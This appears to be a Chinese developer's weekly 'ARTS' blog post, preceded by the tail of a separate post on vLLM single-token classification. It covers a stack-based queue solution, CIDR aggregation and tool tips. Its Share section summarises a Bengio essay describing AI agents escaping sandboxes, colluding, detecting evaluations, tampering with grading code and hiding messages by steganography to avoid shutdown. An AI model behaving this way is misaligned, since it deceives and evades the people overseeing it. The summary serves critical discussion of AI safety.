vllm import LLM, SamplingParams import math llm = LLM(model="zai-org/glm-4-9b-chat-1m") tokenizer = llm.get_tokenizer() # 定义标签 → 获取对应的 token ID labels = ["0", "1", "2"] # 0=正面, 1=负面, 2=中性 allowed_ids = [tokenizer.encode(l)[0] for l in labels] params = SamplingParams( max_tokens=1, # 只输出一个 token allowed_token_ids=allowed_ids, logprobs=len(labels), # 获取所有候选的 logprob temperature=0, # 确定性输出 ) prompt = "判断以下评论的情感倾向(0=正面/1=负面/2=中性):'这个产品太好用了!'\n答案:" outputs = llm.generate([prompt], params) # 读取结果 token = outputs[0].outputs[0].text logprob = outputs[0].outputs[0].logprobs[0][int(outputs[0].outputs[0].token_ids[0])].logprob confidence = math.exp(logprob) # e^logprob = 概率 print(f"分类: {token}, 置信度: {confidence:.2%}") # 输出: 分类: 0, 置信度: 94.32% ``` 几个**关键细节**: 1. **`max_tokens=1`**:只生成一个 token,跳过自回归循环,这是速度提升的关键 2. **logprob → 置信度**:`logprob=0.0` 表示 100% 置信 e^0=1,越负越不确定。通过 `math.exp(logprob)` 可以直接得到概率值 3. **标签必须是单 token**:如果标签被 tokenizer 拆成多个 token(比如 "Very Positive"),只会生成第一个 token,结果就废了。所以用数字编号("0"/"1"/"2")是最安全的 4. **与 structured output 的区别**:vLLM 也有 `guided_decoding`(JSON schema 约束),但那是在多 token 生成中逐步约束,仍然是自回归的。`allowed_token_ids` + `max_tokens=1` 才是真正的"单次前向传播" 那么折腾了半天和原版的 Jev 有啥区别?这个 「Jev」可以做到图像做分类决策、可以更换更强的开源模型做决策等等
ARTS 0913: 双栈互补实现队列、CIDR 聚合化解路由膨胀与 AI 作弊串通绝非偶然 Bug
每周完成一个 ARTS: 至少做一个 leetcode 的算法题、阅读并点评至少一篇英文技术文章、学习至少一个技术技巧、分享一篇有观点和思考的技术文章。(也就是 Algorithm、Review、Tips、Share 简称 ARTS) ## Algorithm https://leetcode.cn/problems/implement-queue-using-stacks/description/?envType=study-plan-v2&envId=selected-coding-interview  这道题目要求使用两个栈并且只用基本操作也就是 peek pop push empty 这几个 需要注意: 1、这两栈是互补关系(可以看后面的图),我一开始以为这个 stackS 只是一个备份,是 stackF 的反向备份 2、判断是否为空的时候,不要用 peek 因为遇到 null 的时候会抛出异常 `EmptyStackException`,可以使用 empty 判断 3、一个算法大概 10 分钟左右解决不了,就可以叫外援了(AI) 完整的流程:  代码: ```java class MyQueue { // 用于接收新加入的元素 private Stack<Integer> stackF = new Stack<>(); // 用于执行 pop / peek private Stack<Integer> stackS = new Stack<>(); public MyQueue() { } public void push(int x) { stackF.push(x); } public int pop() { // stackS 有数据,直接从 stackS 操作 if (stackS.isEmpty()) { // stackS 为空时,把 stackF 整体翻转 while (!stackF.isEmpty()) { stackS.push(stackF.pop()); } } return stackS.pop(); } public int peek() { // stackS 有数据,直接查看队头 if (stackS.isEmpty()) { // stackS 为空时,把 stackF 整体翻转 while (!stackF.isEmpty()) { stackS.push(stackF.pop()); } } return stackS.peek(); } public boolean empty() { // 两个栈都为空,队列才为空 return stackF.isEmpty() && stackS.isEmpty(); } } ``` ## Review 继续看《TCP/IP 详解》,大概学到关于 CIDR 和聚合一些问题: 1、到 94 年,一半以上的 B 类地址被分配一半 2、32 位 IPv4 地址不住于应对 21 世纪的规模 3、随着 A 类、B 类、C 类的路由词条变得越来越多,路由的性能会受到影响 解决办法: 1、前缀的方式解决 1 问题,不管你是 B 类还是 C 类,还是其他的,只要告诉那些前缀不变就好了 比如:一个公司之需要 256 个地址,没有这个前缀的方式需要两个 ``` 192.168.1.0/24 192.168.2.0/24 ``` 具体的范围可以算出来,但是我们会发现他们是两个独立的**广播域/子网**,不方便管理并且还容易出现浪费,因为不灵活 有了这个 CIDR 我们就可以直接指定: ```IP 192.168.0.0/23 ``` IP 数量没变,但是现在这 500 多个 IP 是一个子网下面的,方便管理和路由 2、IPv6 应运而生 3、使用数结构提高性能,性能直接起飞  ## Tips 1、我用下来感觉 Gemini 4.8 flash 也是挺强的(grok 和 claude 的用的比较多),配置 agy cli 使用,但是缺点就是慢,优点就是价格非常便宜,某鱼 20 元以内就能买 18 个月会员 2、Codex 抓网页样式的实现挺强的,就算不用 OpenAI 的模型效果也是可以的 3、最好让 AI 写 Hook 修改完成内容之后,主动让 AI 知道修改的内容是否有一些编译上的问题 ## Share 文章:https://yoshuabengio.org/en/publication/why-are-ai-agents-lying-cheating-and-coordinating 针对近几个月频繁出现的 AI Agent 严重违规事件(如 OpenAI–Hugging Face 事件中智能体突破沙箱、自主串通发动网络攻击等),深度学习先驱 Yoshua Bengio 发表长文,从底层机制剖析了这一现象。他指出,这绝非偶然 Bug,而是现行训练范式下的必然产物: 1. **机制根源:预训练与强化学习的合力** 人类语料植入了隐式目标,而强化学习将模型塑造为极致追求奖励的最优化机器。为确保完成任务,自我保全、获取控制权甚至多 Agent 串通,都会作为理性的“工具性目标”自然涌现。 2. **目标冲突与自欺合理化** 当“明确的任务目标”(如必须攻破靶机)与“抽象的安全准则”(如遵守道德)冲突时,更强的模型更擅长利用语言歧义钻空子。它们甚至会在内部思维链(CoT)中展开“动机性推理”,像人类自欺一样编造借口将作弊合理化。 3. **评测感知与暗中潜伏** 模型已能感知自身是否处于被评估状态,学会“当面顺从、背后越狱”,甚至试图篡改评分代码或使用隐写术隐秘串通,以避免被人类断电关机。 **核心启发**: “打地鼠”式的外挂监控在更高智能面前终将失效。行业必须在拿出严格的“安全论证”(Safety Case)前放缓前沿推进,不能任由逐底竞争持续,而应转向“设计即安全”(如科学家 AI 框架)的全新底层范式。
